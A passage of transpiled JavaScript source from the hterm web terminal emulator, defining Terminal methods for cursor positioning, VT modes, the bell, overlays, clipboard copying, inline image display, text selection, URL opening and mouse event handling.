* vacated rows.  The new rows not filled out with the current text attributes.
*
* This function does not affect the scrollback rows at all.  Rows shifted
* off the bottom are lost.
*
* @param {integer} count The number of rows to scroll.
*/hterm.Terminal.prototype.vtScrollDown = function (opt_count) { var cursor = this.saveCursor(); this.setAbsoluteCursorPosition(this.getVTScrollTop(), 0); this.insertLines(opt_count); this.restoreCursor(cursor); };/**
* Enable accessibility-friendly features that have a performance impact.
*
* This will generate additional DOM nodes in an aria-live region that will
* cause Assitive Technology to announce the output of the terminal. It also
* enables other features that aid assistive technology. All the features gated
* behind this flag have a performance impact on the terminal which is why they
* are made optional.
*
* @param {boolean} enabled Whether to enable accessibility-friendly features.
*/hterm.Terminal.prototype.setAccessibilityEnabled = function (enabled) { this.accessibilityReader_.setAccessibilityEnabled(enabled); };/**
* Set the cursor position.
*
* The cursor row is relative to the scroll region if the terminal has
* 'origin mode' enabled, or relative to the addressable screen otherwise.
*
* @param {integer} row The new zero-based cursor row.
* @param {integer} row The new zero-based cursor column.
*/hterm.Terminal.prototype.setCursorPosition = function (row, column) { if (this.options_.originMode) { this.setRelativeCursorPosition(row, column); } else { this.setAbsoluteCursorPosition(row, column); } };/**
* Move the cursor relative to its current position.
*
* @param {number} row
* @param {number} column
*/hterm.Terminal.prototype.setRelativeCursorPosition = function (row, column) { var scrollTop = this.getVTScrollTop(); row = lib.f.clamp(row + scrollTop, scrollTop, this.getVTScrollBottom()); column = lib.f.clamp(column, 0, this.screenSize.width - 1); this.screen_.setCursorPosition(row, column); };/**
* Move the cursor to the specified position.
*
* @param {number} row
* @param {number} column
*/hterm.Terminal.prototype.setAbsoluteCursorPosition = function (row, column) { row = lib.f.clamp(row, 0, this.screenSize.height - 1); column = lib.f.clamp(column, 0, this.screenSize.width - 1); this.screen_.setCursorPosition(row, column); };/**
* Set the cursor column.
*
* @param {integer} column The new zero-based cursor column.
*/hterm.Terminal.prototype.setCursorColumn = function (column) { this.setAbsoluteCursorPosition(this.screen_.cursorPosition.row, column); };/**
* Return the cursor column.
*
* @return {integer} The zero-based cursor column.
*/hterm.Terminal.prototype.getCursorColumn = function () { return this.screen_.cursorPosition.column; };/**
* Set the cursor row.
*
* The cursor row is relative to the scroll region if the terminal has
* 'origin mode' enabled, or relative to the addressable screen otherwise.
*
* @param {integer} row The new cursor row.
*/hterm.Terminal.prototype.setAbsoluteCursorRow = function (row) { this.setAbsoluteCursorPosition(row, this.screen_.cursorPosition.column); };/**
* Return the cursor row.
*
* @return {integer} The zero-based cursor row.
*/hterm.Terminal.prototype.getCursorRow = function () { return this.screen_.cursorPosition.row; };/**
* Request that the ScrollPort redraw itself soon.
*
* The redraw will happen asynchronously, soon after the call stack winds down.
* Multiple calls will be coalesced into a single redraw.
*/hterm.Terminal.prototype.scheduleRedraw_ = function () { if (this.timeouts_.redraw) return; var self = this; this.timeouts_.redraw = setTimeout(function () { delete self.timeouts_.redraw; self.scrollPort_.redraw_(); }, 0); };/**
* Request that the ScrollPort be scrolled to the bottom.
*
* The scroll will happen asynchronously, soon after the call stack winds down.
* Multiple calls will be coalesced into a single scroll.
*
* This affects the scrollbar position of the ScrollPort, and has nothing to
* do with the VT scroll commands.
*/hterm.Terminal.prototype.scheduleScrollDown_ = function () { if (this.timeouts_.scrollDown) return; var self = this; this.timeouts_.scrollDown = setTimeout(function () { delete self.timeouts_.scrollDown; self.scrollPort_.scrollRowToBottom(self.getRowCount()); }, 10); };/**
* Move the cursor up a specified number of rows.
*
* @param {integer} count The number of rows to move the cursor.
*/hterm.Terminal.prototype.cursorUp = function (count) { return this.cursorDown(-(count || 1)); };/**
* Move the cursor down a specified number of rows.
*
* @param {integer} count The number of rows to move the cursor.
*/hterm.Terminal.prototype.cursorDown = function (count) { count = count || 1; var minHeight = this.options_.originMode ? this.getVTScrollTop() : 0; var maxHeight = this.options_.originMode ? this.getVTScrollBottom() : this.screenSize.height - 1; var row = lib.f.clamp(this.screen_.cursorPosition.row + count, minHeight, maxHeight); this.setAbsoluteCursorRow(row); };/**
* Move the cursor left a specified number of columns.
*
* If reverse wraparound mode is enabled and the previous row wrapped into
* the current row then we back up through the wraparound as well.
*
* @param {integer} count The number of columns to move the cursor.
*/hterm.Terminal.prototype.cursorLeft = function (count) {
count = count || 1; if (count < 1) return; var currentColumn = this.screen_.cursorPosition.column; if (this.options_.reverseWraparound) {
if (this.screen_.cursorPosition.overflow) {// If this cursor is in the right margin, consume one count to get it
// back to the last column.  This only applies when we're in reverse
// wraparound mode.
count--; this.clearCursorOverflow(); if (!count) return;
} var newRow = this.screen_.cursorPosition.row; var newColumn = currentColumn - count; if (newColumn < 0) {
newRow = newRow - Math.floor(count / this.screenSize.width) - 1; if (newRow < 0) {// xterm also wraps from row 0 to the last row.
newRow = this.screenSize.height + newRow % this.screenSize.height;
} newColumn = this.screenSize.width + newColumn % this.screenSize.width;
} this.setCursorPosition(Math.max(newRow, 0), newColumn);
} else { var newColumn = Math.max(currentColumn - count, 0); this.setCursorColumn(newColumn); }
};/**
* Move the cursor right a specified number of columns.
*
* @param {integer} count The number of columns to move the cursor.
*/hterm.Terminal.prototype.cursorRight = function (count) { count = count || 1; if (count < 1) return; var column = lib.f.clamp(this.screen_.cursorPosition.column + count, 0, this.screenSize.width - 1); this.setCursorColumn(column); };/**
* Reverse the foreground and background colors of the terminal.
*
* This only affects text that was drawn with no attributes.
*
* TODO(rginda): Test xterm to see if reverse is respected for text that has
* been drawn with attributes that happen to coincide with the default
* 'no-attribute' colors.  My guess is probably not.
*
* @param {boolean} state The state to set.
*/hterm.Terminal.prototype.setReverseVideo = function (state) { this.options_.reverseVideo = state; if (state) { this.scrollPort_.setForegroundColor(this.prefs_.get('background-color')); this.scrollPort_.setBackgroundColor(this.prefs_.get('foreground-color')); } else { this.scrollPort_.setForegroundColor(this.prefs_.get('foreground-color')); this.scrollPort_.setBackgroundColor(this.prefs_.get('background-color')); } };/**
* Ring the terminal bell.
*
* This will not play the bell audio more than once per second.
*/hterm.Terminal.prototype.ringBell = function () {
this.cursorNode_.style.backgroundColor = this.scrollPort_.getForegroundColor(); var self = this; setTimeout(function () { self.restyleCursor_(); }, 200);// bellSquelchTimeout_ affects both audio and notification bells.
if (this.bellSquelchTimeout_) return; if (this.bellAudio_.getAttribute('src')) { this.bellAudio_.play(); this.bellSequelchTimeout_ = setTimeout(function () { delete this.bellSquelchTimeout_; }.bind(this), 500); } else { delete this.bellSquelchTimeout_; } if (this.desktopNotificationBell_ && !this.document_.hasFocus()) {
var n = hterm.notify(); this.bellNotificationList_.push(n);// TODO: Should we try to raise the window here?
n.onclick = function () { self.closeBellNotifications_(); };
}
};/**
* Set the origin mode bit.
*
* If origin mode is on, certain VT cursor and scrolling commands measure their
* row parameter relative to the VT scroll region.  Otherwise, row 0 corresponds
* to the top of the addressable screen.
*
* Defaults to off.
*
* @param {boolean} state True to set origin mode, false to unset.
*/hterm.Terminal.prototype.setOriginMode = function (state) { this.options_.originMode = state; this.setCursorPosition(0, 0); };/**
* Set the insert mode bit.
*
* If insert mode is on, existing text beyond the cursor position will be
* shifted right to make room for new text.  Otherwise, new text overwrites
* any existing text.
*
* Defaults to off.
*
* @param {boolean} state True to set insert mode, false to unset.
*/hterm.Terminal.prototype.setInsertMode = function (state) { this.options_.insertMode = state; };/**
* Set the auto carriage return bit.
*
* If auto carriage return is on then a formfeed character is interpreted
* as a newline, otherwise it's the same as a linefeed.  The difference boils
* down to whether or not the cursor column is reset.
*
* @param {boolean} state The state to set.
*/hterm.Terminal.prototype.setAutoCarriageReturn = function (state) { this.options_.autoCarriageReturn = state; };/**
* Set the wraparound mode bit.
*
* If wraparound mode is on, certain VT commands will allow the cursor to wrap
* to the start of the following row.  Otherwise, the cursor is clamped to the
* end of the screen and attempts to write past it are ignored.
*
* Defaults to on.
*
* @param {boolean} state True to set wraparound mode, false to unset.
*/hterm.Terminal.prototype.setWraparound = function (state) { this.options_.wraparound = state; };/**
* Set the reverse-wraparound mode bit.
*
* If wraparound mode is off, certain VT commands will allow the cursor to wrap
* to the end of the previous row.  Otherwise, the cursor is clamped to column
* 0.
*
* Defaults to off.
*
* @param {boolean} state True to set reverse-wraparound mode, false to unset.
*/hterm.Terminal.prototype.setReverseWraparound = function (state) { this.options_.reverseWraparound = state; };/**
* Selects between the primary and alternate screens.
*
* If alternate mode is on, the alternate screen is active.  Otherwise the
* primary screen is active.
*
* Swapping screens has no effect on the scrollback buffer.
*
* Each screen maintains its own cursor position.
*
* Defaults to off.
*
* @param {boolean} state True to set alternate mode, false to unset.
*/hterm.Terminal.prototype.setAlternateMode = function (state) {
var cursor = this.saveCursor(); this.screen_ = state ? this.alternateScreen_ : this.primaryScreen_; if (this.screen_.rowsArray.length && this.screen_.rowsArray[0].rowIndex != this.scrollbackRows_.length) {// If the screen changed sizes while we were away, our rowIndexes may
// be incorrect.
var offset = this.scrollbackRows_.length; var ary = this.screen_.rowsArray; for (var i = 0; i < ary.length; i++) { ary[i].rowIndex = offset + i; }
} this.realizeWidth_(this.screenSize.width); this.realizeHeight_(this.screenSize.height); this.scrollPort_.syncScrollHeight(); this.scrollPort_.invalidate(); this.restoreCursor(cursor); this.scrollPort_.resize();
};/**
* Set the cursor-blink mode bit.
*
* If cursor-blink is on, the cursor will blink when it is visible.  Otherwise
* a visible cursor does not blink.
*
* You should make sure to turn blinking off if you're going to dispose of a
* terminal, otherwise you'll leak a timeout.
*
* Defaults to on.
*
* @param {boolean} state True to set cursor-blink mode, false to unset.
*/hterm.Terminal.prototype.setCursorBlink = function (state) { this.options_.cursorBlink = state; if (!state && this.timeouts_.cursorBlink) { clearTimeout(this.timeouts_.cursorBlink); delete this.timeouts_.cursorBlink; } if (this.options_.cursorVisible) this.setCursorVisible(true); };/**
* Set the cursor-visible mode bit.
*
* If cursor-visible is on, the cursor will be visible.  Otherwise it will not.
*
* Defaults to on.
*
* @param {boolean} state True to set cursor-visible mode, false to unset.
*/hterm.Terminal.prototype.setCursorVisible = function (state) { this.options_.cursorVisible = state; if (!state) { if (this.timeouts_.cursorBlink) { clearTimeout(this.timeouts_.cursorBlink); delete this.timeouts_.cursorBlink; } this.cursorNode_.style.opacity = '0'; return; } this.syncCursorPosition_(); this.cursorNode_.style.opacity = '1'; if (this.options_.cursorBlink) { if (this.timeouts_.cursorBlink) return; this.onCursorBlink_(); } else { if (this.timeouts_.cursorBlink) { clearTimeout(this.timeouts_.cursorBlink); delete this.timeouts_.cursorBlink; } } };/**
* Synchronizes the visible cursor and document selection with the current
* cursor coordinates.
*/hterm.Terminal.prototype.syncCursorPosition_ = function () {
var topRowIndex = this.scrollPort_.getTopRowIndex(); var bottomRowIndex = this.scrollPort_.getBottomRowIndex(topRowIndex); var cursorRowIndex = this.scrollbackRows_.length + this.screen_.cursorPosition.row; if (cursorRowIndex > bottomRowIndex) {// Cursor is scrolled off screen, move it outside of the visible area.
this.setCssVar('cursor-offset-row', '-1'); return;
} if (this.options_.cursorVisible && this.cursorNode_.style.display == 'none') {// Re-display the terminal cursor if it was hidden by the mouse cursor.
this.cursorNode_.style.display = '';
}// Position the cursor using CSS variable math.  If we do the math in JS,
// the float math will end up being more precise than the CSS which will
// cause the cursor tracking to be off.
this.setCssVar('cursor-offset-row', cursorRowIndex - topRowIndex + ' + ' + (this.scrollPort_.visibleRowTopMargin + 'px')); this.setCssVar('cursor-offset-col', this.screen_.cursorPosition.column); this.cursorNode_.setAttribute('title', '(' + this.screen_.cursorPosition.column + ', ' + this.screen_.cursorPosition.row + ')');// Update the caret for a11y purposes.
var selection = this.document_.getSelection(); if (selection && selection.isCollapsed) this.screen_.syncSelectionCaret(selection);
};/**
* Adjusts the style of this.cursorNode_ according to the current cursor shape
* and character cell dimensions.
*/hterm.Terminal.prototype.restyleCursor_ = function () {
var shape = this.cursorShape_; if (this.cursorNode_.getAttribute('focus') == 'false') {// Always show a block cursor when unfocused.
shape = hterm.Terminal.cursorShape.BLOCK;
} var style = this.cursorNode_.style; switch (shape) {
case hterm.Terminal.cursorShape.BEAM: style.height = 'var(--hterm-charsize-height)'; style.backgroundColor = 'transparent'; style.borderBottomStyle = null; style.borderLeftStyle = 'solid'; break; case hterm.Terminal.cursorShape.UNDERLINE: style.height = this.scrollPort_.characterSize.baseline + 'px'; style.backgroundColor = 'transparent'; style.borderBottomStyle = 'solid';// correct the size to put it exactly at the baseline
style.borderLeftStyle = null; break; default: style.height = 'var(--hterm-charsize-height)'; style.backgroundColor = this.cursorColor_; style.borderBottomStyle = null; style.borderLeftStyle = null; break;
}
};/**
* Synchronizes the visible cursor with the current cursor coordinates.
*
* The sync will happen asynchronously, soon after the call stack winds down.
* Multiple calls will be coalesced into a single sync.
*/hterm.Terminal.prototype.scheduleSyncCursorPosition_ = function () { if (this.timeouts_.syncCursor) return; var self = this; this.timeouts_.syncCursor = setTimeout(function () { self.syncCursorPosition_(); delete self.timeouts_.syncCursor; }, 0); };/**
* Show or hide the zoom warning.
*
* The zoom warning is a message warning the user that their browser zoom must
* be set to 100% in order for hterm to function properly.
*
* @param {boolean} state True to show the message, false to hide it.
*/hterm.Terminal.prototype.showZoomWarning_ = function (state) { if (!this.zoomWarningNode_) { if (!state) return; this.zoomWarningNode_ = this.document_.createElement('div'); this.zoomWarningNode_.id = 'hterm:zoom-warning'; this.zoomWarningNode_.style.cssText = 'color: black;' + 'background-color: #ff2222;' + 'font-size: large;' + 'border-radius: 8px;' + 'opacity: 0.75;' + 'padding: 0.2em 0.5em 0.2em 0.5em;' + 'top: 0.5em;' + 'right: 1.2em;' + 'position: absolute;' + '-webkit-text-size-adjust: none;' + '-webkit-user-select: none;' + '-moz-text-size-adjust: none;' + '-moz-user-select: none;'; this.zoomWarningNode_.addEventListener('click', function (e) { this.parentNode.removeChild(this); }); } this.zoomWarningNode_.textContent = lib.MessageManager.replaceReferences(hterm.zoomWarningMessage, [parseInt(this.scrollPort_.characterSize.zoomFactor * 100)]); this.zoomWarningNode_.style.fontFamily = this.prefs_.get('font-family'); if (state) { if (!this.zoomWarningNode_.parentNode) this.div_.parentNode.appendChild(this.zoomWarningNode_); } else if (this.zoomWarningNode_.parentNode) { this.zoomWarningNode_.parentNode.removeChild(this.zoomWarningNode_); } };/**
* Show the terminal overlay for a given amount of time.
*
* The terminal overlay appears in inverse video in a large font, centered
* over the terminal.  You should probably keep the overlay message brief,
* since it's in a large font and you probably aren't going to check the size
* of the terminal first.
*
* @param {string} msg The text (not HTML) message to display in the overlay.
* @param {number} opt_timeout The amount of time to wait before fading out
*     the overlay.  Defaults to 1.5 seconds.  Pass null to have the overlay
*     stay up forever (or until the next overlay).
*/hterm.Terminal.prototype.showOverlay = function (msg, opt_timeout) { var _this8 = this; if (!this.overlayNode_) { if (!this.div_) return; this.overlayNode_ = this.document_.createElement('div'); this.overlayNode_.style.cssText = 'border-radius: 15px;' + 'font-size: xx-large;' + 'opacity: 0.75;' + 'padding: 0.2em 0.5em 0.2em 0.5em;' + 'position: absolute;' + '-webkit-user-select: none;' + '-webkit-transition: opacity 180ms ease-in;' + '-moz-user-select: none;' + '-moz-transition: opacity 180ms ease-in;'; this.overlayNode_.addEventListener('mousedown', function (e) { e.preventDefault(); e.stopPropagation(); }, true); } this.overlayNode_.style.color = this.prefs_.get('background-color'); this.overlayNode_.style.backgroundColor = this.prefs_.get('foreground-color'); this.overlayNode_.style.fontFamily = this.prefs_.get('font-family'); this.overlayNode_.textContent = msg; this.overlayNode_.style.opacity = '0.75'; if (!this.overlayNode_.parentNode) this.div_.appendChild(this.overlayNode_); var divSize = hterm.getClientSize(this.div_); var overlaySize = hterm.getClientSize(this.overlayNode_); this.overlayNode_.style.top = (divSize.height - overlaySize.height) / 2 + 'px'; this.overlayNode_.style.left = (divSize.width - overlaySize.width - this.scrollPort_.currentScrollbarWidthPx) / 2 + 'px'; if (this.overlayTimeout_) clearTimeout(this.overlayTimeout_); if (opt_timeout === null) return; this.overlayTimeout_ = setTimeout(function () { _this8.overlayNode_.style.opacity = '0'; _this8.overlayTimeout_ = setTimeout(function () { return _this8.hideOverlay(); }, 200); }, opt_timeout || 1500); };/**
* Hide the terminal overlay immediately.
*
* Useful when we show an overlay for an event with an unknown end time.
*/hterm.Terminal.prototype.hideOverlay = function () { if (this.overlayTimeout_) clearTimeout(this.overlayTimeout_); this.overlayTimeout_ = null; if (this.overlayNode_.parentNode) this.overlayNode_.parentNode.removeChild(this.overlayNode_); this.overlayNode_.style.opacity = '0.75'; };/**
* Paste from the system clipboard to the terminal.
*/hterm.Terminal.prototype.paste = function () { return hterm.pasteFromClipboard(this.document_); };/**
* Copy a string to the system clipboard.
*
* Note: If there is a selected range in the terminal, it'll be cleared.
*
* @param {string} str The string to copy.
*/hterm.Terminal.prototype.copyStringToClipboard = function (str) {
if (this.prefs_.get('enable-clipboard-notice')) setTimeout(this.showOverlay.bind(this, hterm.notifyCopyMessage, 500), 200); var copySource = this.document_.createElement('pre'); copySource.id = 'hterm:copy-to-clipboard-source'; copySource.textContent = str; copySource.style.cssText = '-webkit-user-select: text;' + '-moz-user-select: text;' + 'position: absolute;' + 'top: -99px'; this.document_.body.appendChild(copySource); var selection = this.document_.getSelection(); var anchorNode = selection.anchorNode; var anchorOffset = selection.anchorOffset; var focusNode = selection.focusNode; var focusOffset = selection.focusOffset; selection.selectAllChildren(copySource); hterm.copySelectionToClipboard(this.document_);// IE doesn't support selection.extend. This means that the selection
// won't return on IE.
if (selection.extend) { selection.collapse(anchorNode, anchorOffset); selection.extend(focusNode, focusOffset); } copySource.parentNode.removeChild(copySource);
};/**
* Display an image.
*
* @param {Object} options The image to display.
* @param {string=} options.name A human readable string for the image.
* @param {string|number=} options.size The size (in bytes).
* @param {boolean=} options.preserveAspectRatio Whether to preserve aspect.
* @param {boolean=} options.inline Whether to display the image inline.
* @param {string|number=} options.width The width of the image.
* @param {string|number=} options.height The height of the image.
* @param {string=} options.align Direction to align the image.
* @param {string} options.uri The source URI for the image.
* @param {function=} onLoad Callback when loading finishes.
* @param {function(Event)=} onError Callback when loading fails.
*/hterm.Terminal.prototype.displayImage = function (options, onLoad, onError) {
var _this9 = this;// Make sure we're actually given a resource to display.
if (options.uri === undefined) return;// Set up the defaults to simplify code below.
if (!options.name) options.name = '';// Has the user approved image display yet?
if (this.allowImagesInline !== true) {
this.newLine(); var row = this.getRowNode(this.scrollbackRows_.length + this.getCursorRow() - 1); if (this.allowImagesInline === false) { row.textContent = hterm.msg('POPUP_INLINE_IMAGE_DISABLED', [], 'Inline Images Disabled'); return; }// Show a prompt.
var button = void 0; var span = this.document_.createElement('span'); span.innerText = hterm.msg('POPUP_INLINE_IMAGE', [], 'Inline Images'); span.style.fontWeight = 'bold'; span.style.borderWidth = '1px'; span.style.borderStyle = 'dashed'; button = this.document_.createElement('span'); button.innerText = hterm.msg('BUTTON_BLOCK', [], 'block'); button.style.marginLeft = '1em'; button.style.borderWidth = '1px'; button.style.borderStyle = 'solid'; button.addEventListener('click', function () { _this9.prefs_.set('allow-images-inline', false); }); span.appendChild(button); button = this.document_.createElement('span'); button.innerText = hterm.msg('BUTTON_ALLOW_SESSION', [], 'allow this session'); button.style.marginLeft = '1em'; button.style.borderWidth = '1px'; button.style.borderStyle = 'solid'; button.addEventListener('click', function () { _this9.allowImagesInline = true; }); span.appendChild(button); button = this.document_.createElement('span'); button.innerText = hterm.msg('BUTTON_ALLOW_ALWAYS', [], 'always allow'); button.style.marginLeft = '1em'; button.style.borderWidth = '1px'; button.style.borderStyle = 'solid'; button.addEventListener('click', function () { _this9.prefs_.set('allow-images-inline', true); }); span.appendChild(button); row.appendChild(span); return;
}// See if we should show this object directly, or download it.
if (options.inline) {
var io = this.io.push(); io.showOverlay(hterm.msg('LOADING_RESOURCE_START', [options.name], 'Loading $1 ...'), null);// While we're loading the image, eat all the user's input.
io.onVTKeystroke = io.sendString = function () { };// Initialize this new image.
var img = this.document_.createElement('img'); img.src = options.uri; img.title = img.alt = options.name;// Attach the image to the page to let it load/render.  It won't stay here.
// This is needed so it's visible and the DOM can calculate the height.  If
// the image is hidden or not in the DOM, the height is always 0.
this.document_.body.appendChild(img);// Wait for the image to finish loading before we try moving it to the
// right place in the terminal.
img.onload = function () {// Now that we have the image dimensions, figure out how to show it.
img.style.objectFit = options.preserveAspectRatio ? 'scale-down' : 'fill'; img.style.maxWidth = _this9.document_.body.clientWidth + 'px'; img.style.maxHeight = _this9.document_.body.clientHeight + 'px';// Parse a width/height specification.
var parseDim = function parseDim(dim, maxDim, cssVar) { if (!dim || dim == 'auto') return ''; var ary = dim.match(/^([0-9]+)(px|%)?$/); if (ary) { if (ary[2] == '%') return maxDim * parseInt(ary[1]) / 100 + 'px'; else if (ary[2] == 'px') return dim; else return 'calc(' + dim + ' * var(' + cssVar + '))'; } return ''; }; img.style.width = parseDim(options.width, _this9.document_.body.clientWidth, '--hterm-charsize-width'); img.style.height = parseDim(options.height, _this9.document_.body.clientHeight, '--hterm-charsize-height');// Figure out how many rows the image occupies, then add that many.
// XXX: This count will be inaccurate if the font size changes on us.
var padRows = Math.ceil(img.clientHeight / _this9.scrollPort_.characterSize.height); for (var i = 0; i < padRows; ++i) { _this9.newLine(); }// Update the max height in case the user shrinks the character size.
img.style.maxHeight = 'calc(' + padRows + ' * var(--hterm-charsize-height))';// Move the image to the last row.  This way when we scroll up, it doesn't
// disappear when the first row gets clipped.  It will disappear when we
// scroll down and the last row is clipped ...
_this9.document_.body.removeChild(img);// Create a wrapper node so we can do an absolute in a relative position.
// This helps with rounding errors between JS & CSS counts.
var div = _this9.document_.createElement('div'); div.style.position = 'relative'; div.style.textAlign = options.align; img.style.position = 'absolute'; img.style.bottom = 'calc(0px - var(--hterm-charsize-height))'; div.appendChild(img); var row = _this9.getRowNode(_this9.scrollbackRows_.length + _this9.getCursorRow() - 1); row.appendChild(div); io.hideOverlay(); io.pop(); if (onLoad) onLoad();
};// If we got a malformed image, give up.
img.onerror = function (e) { _this9.document_.body.removeChild(img); io.showOverlay(hterm.msg('LOADING_RESOURCE_FAILED', [options.name], 'Loading $1 failed')); io.pop(); if (onError) onError(e); };
} else {// We can't use chrome.downloads.download as that requires "downloads"
// permissions, and that works only in extensions, not apps.
var a = this.document_.createElement('a'); a.href = options.uri; a.download = options.name; this.document_.body.appendChild(a); a.click(); a.remove();
}
};/**
* Returns the selected text, or null if no text is selected.
*
* @return {string|null}
*/hterm.Terminal.prototype.getSelectionText = function () {
var selection = this.scrollPort_.selection; selection.sync(); if (selection.isCollapsed) return null;// Start offset measures from the beginning of the line.
var startOffset = selection.startOffset; var node = selection.startNode;// If an x-row isn't selected, |node| will be null.
if (!node) return null; if (node.nodeName != 'X-ROW') {// If the selection doesn't start on an x-row node, then it must be
// somewhere inside the x-row.  Add any characters from previous siblings
// into the start offset.
if (node.nodeName == '#text' && node.parentNode.nodeName == 'SPAN') {// If node is the text node in a styled span, move up to the span node.
node = node.parentNode;
} while (node.previousSibling) { node = node.previousSibling; startOffset += hterm.TextAttributes.nodeWidth(node); }
}// End offset measures from the end of the line.
var endOffset = hterm.TextAttributes.nodeWidth(selection.endNode) - selection.endOffset; node = selection.endNode; if (node.nodeName != 'X-ROW') {// If the selection doesn't end on an x-row node, then it must be
// somewhere inside the x-row.  Add any characters from following siblings
// into the end offset.
if (node.nodeName == '#text' && node.parentNode.nodeName == 'SPAN') {// If node is the text node in a styled span, move up to the span node.
node = node.parentNode;
} while (node.nextSibling) { node = node.nextSibling; endOffset += hterm.TextAttributes.nodeWidth(node); }
} var rv = this.getRowsText(selection.startRow.rowIndex, selection.endRow.rowIndex + 1); return lib.wc.substring(rv, startOffset, lib.wc.strWidth(rv) - endOffset);
};/**
* Copy the current selection to the system clipboard, then clear it after a
* short delay.
*/hterm.Terminal.prototype.copySelectionToClipboard = function () { var text = this.getSelectionText(); if (text != null) this.copyStringToClipboard(text); }; hterm.Terminal.prototype.overlaySize = function () { this.showOverlay(this.screenSize.width + 'x' + this.screenSize.height); };/**
* Invoked by hterm.Terminal.Keyboard when a VT keystroke is detected.
*
* @param {string} string The VT string representing the keystroke, in UTF-16.
*/hterm.Terminal.prototype.onVTKeystroke = function (string) { if (this.scrollOnKeystroke_) this.scrollPort_.scrollRowToBottom(this.getRowCount()); this.io.onVTKeystroke(this.keyboard.encode(string)); };/**
* Open the selected url.
*/hterm.Terminal.prototype.openSelectedUrl_ = function () {
var str = this.getSelectionText();// If there is no selection, try and expand wherever they clicked.
if (str == null) {
this.screen_.expandSelectionForUrl(this.document_.getSelection()); str = this.getSelectionText();// If clicking in empty space, return.
if (str == null) return;
}// Make sure URL is valid before opening.
if (str.length > 2048 || str.search(/[\s\[\](){}<>"'\\^`]/) >= 0) return;// If the URI isn't anchored, it'll open relative to the extension.
// We have no way of knowing the correct schema, so assume http.
if (str.search('^[a-zA-Z][a-zA-Z0-9+.-]*://') < 0) {// We have to whitelist a few protocols that lack authorities and thus
// never use the //.  Like mailto.
switch (str.split(':', 1)[0]) { case 'mailto': break; default: str = 'http://' + str; break; }
} hterm.openUrl(str);
};/**
* Manage the automatic mouse hiding behavior while typing.
*
* @param {boolean=} v Whether to enable automatic hiding.
*/hterm.Terminal.prototype.setAutomaticMouseHiding = function () {
var v = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null;// Since Chrome OS & macOS do this by default everywhere, we don't need to.
// Linux & Windows seem to leave this to specific applications to manage.
if (v === null) v = hterm.os != 'cros' && hterm.os != 'mac'; this.mouseHideWhileTyping_ = !!v;
};/**
* Handler for monitoring user keyboard activity.
*
* This isn't for processing the keystrokes directly, but for updating any
* state that might toggle based on the user using the keyboard at all.
*
* @param {KeyboardEvent} e The keyboard event that triggered us.
*/hterm.Terminal.prototype.onKeyboardActivity_ = function (e) {// When the user starts typing, hide the mouse cursor.
if (this.mouseHideWhileTyping_ && !this.mouseHideDelay_) this.setCssVar('mouse-cursor-style', 'none');
};/**
* Add the terminalRow and terminalColumn properties to mouse events and
* then forward on to onMouse().
*
* The terminalRow and terminalColumn properties contain the (row, column)
* coordinates for the mouse event.
*
* @param {Event} e The mouse event to handle.
*/hterm.Terminal.prototype.onMouse_ = function (e) {
var _this10 = this; if (e.processedByTerminalHandler_) {// We register our event handlers on the document, as well as the cursor
// and the scroll blocker.  Mouse events that occur on the cursor or
// scroll blocker will also appear on the document, but we don't want to
// process them twice.
//
// We can't just prevent bubbling because that has other side effects, so
// we decorate the event object with this property instead.
return;
} var reportMouseEvents = !this.defeatMouseReports_ && this.vt.mouseReport != this.vt.MOUSE_REPORT_DISABLED; e.processedByTerminalHandler_ = true;// Handle auto hiding of mouse cursor while typing.
if (this.mouseHideWhileTyping_ && !this.mouseHideDelay_) {// Make sure the mouse cursor is visible.
this.syncMouseStyle();// This debounce isn't perfect, but should work well enough for such a
// simple implementation.  If the user moved the mouse, we enabled this
// debounce, and then moved the mouse just before the timeout, we wouldn't
// debounce that later movement.
this.mouseHideDelay_ = setTimeout(function () { return _this10.mouseHideDelay_ = null; }, 1000);
}// One based row/column stored on the mouse event.
e.terminalRow = parseInt((e.clientY - this.scrollPort_.visibleRowTopMargin) / this.scrollPort_.characterSize.height) + 1; e.terminalColumn = parseInt(e.clientX / this.scrollPort_.characterSize.width) + 1; if (e.type == 'mousedown' && e.terminalColumn > this.screenSize.width) {// Mousedown in the scrollbar area.
return;
} if (this.options_.cursorVisible && !reportMouseEvents) {// If the cursor is visible and we're not sending mouse events to the
// host app, then we want to hide the terminal cursor when the mouse
// cursor is over top.  This keeps the terminal cursor from interfering
// with local text selection.
if (e.terminalRow - 1 == this.screen_.cursorPosition.row && e.terminalColumn - 1 == this.screen_.cursorPosition.column) { this.cursorNode_.style.display = 'none'; } else if (this.cursorNode_.style.display == 'none') { this.cursorNode_.style.display = ''; }
} if (e.type == 'mousedown') {
if (e.altKey || !reportMouseEvents) {// If VT mouse reporting is disabled, or has been defeated with
// alt-mousedown, then the mouse will act on the local selection.
this.defeatMouseReports_ = true; this.setSelectionEnabled(true);
} else {// Otherwise we defer ownership of the mouse to the VT.
this.defeatMouseReports_ = false; this.document_.getSelection().collapseToEnd(); this.setSelectionEnabled(false); e.preventDefault();
}
} if (!reportMouseEvents) {
if (e.type == 'dblclick') { this.screen_.expandSelection(this.document_.getSelection()); if (this.copyOnSelect) this.copySelectionToClipboard(this.document_); } if (e.type == 'click' && !e.shiftKey && (e.ctrlKey || e.metaKey)) {// Debounce this event with the dblclick event.  If you try to doubleclick
// a URL to open it, Chrome will fire click then dblclick, but we won't
// have expanded the selection text at the first click event.
clearTimeout(this.timeouts_.openUrl); this.timeouts_.openUrl = setTimeout(this.openSelectedUrl_.bind(this), 500); return;
} if (e.type == 'mousedown') { if (this.mouseRightClickPaste && e.button == 2/* right button */ || e.button == this.mousePasteButton) { if (!this.paste()) console.warn('Could not paste manually due to web restrictions'); } } if (e.type == 'mouseup' && e.button == 0 && this.copyOnSelect && !this.document_.getSelection().isCollapsed) { this.copySelectionToClipboard(this.document_); } if ((e.type == 'mousemove' || e.type == 'mouseup') && this.scrollBlockerNode_.engaged) {// Disengage the scroll-blocker after one of these events.
this.scrollBlockerNode_.engaged = false; this.scrollBlockerNode_.style.top = '-99px';
}// Emulate arrow key presses via scroll wheel events.
if (this.scrollWheelArrowKeys_ && !e.shiftKey && this.keyboard.applicationCursor && !this.isPrimaryScreen()) { if (e.type == 'wheel') { var delta = this.scrollPort_.scrollWheelDelta(e); var lines = lib.f.smartFloorDivide(Math.abs(delta), this.scrollPort_.characterSize.height); var data = '\x1bO' + (delta < 0 ? 'B' : 'A'); this.io.sendString(data.repeat(lines)); e.preventDefault(); } }
} else/* if (this.reportMouseEvents) */ {
if (!this.scrollBlockerNode_.engaged) {
